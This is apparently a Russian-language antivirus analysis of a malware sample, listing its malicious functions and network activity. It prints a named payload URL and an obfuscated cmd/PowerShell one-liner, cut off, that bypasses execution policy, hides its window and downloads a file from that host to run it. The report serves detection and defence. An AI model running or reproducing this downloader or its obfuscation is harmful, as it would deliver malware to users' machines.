Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://rootaleyz.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^O^W^ErS^hE^l^l.E^x^e^ -EXe^c^utIOnP^Ol^ic^y B^yP^aSs -^N^Op^R^Ofile -wIND^o^WsTyl^e ^hIDd^EN^ (N^EW-Ob^Je^ct sYStEm.N^E^t.We^b^CL^IE^n^t)^.DoW^NLO^A^D^F^iLe('http://rootaleyz.t...
Сетевая активность
UDP
- DNS ASK ro###leyz.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^O^W^ErS^hE^l^l.E^x^e^ -EXe^c^utIOnP^Ol^ic^y B^yP^aSs -^N^Op^R^Ofile -wIND^o^WsTyl^e ^hIDd^EN^ (N^EW-Ob^Je^ct sYStEm.N^E^t.We^b^CL^IE^n^t)^.DoW^NLO^A^D^F^iLe('http://rootaleyz.t...' (со скрытым окном)
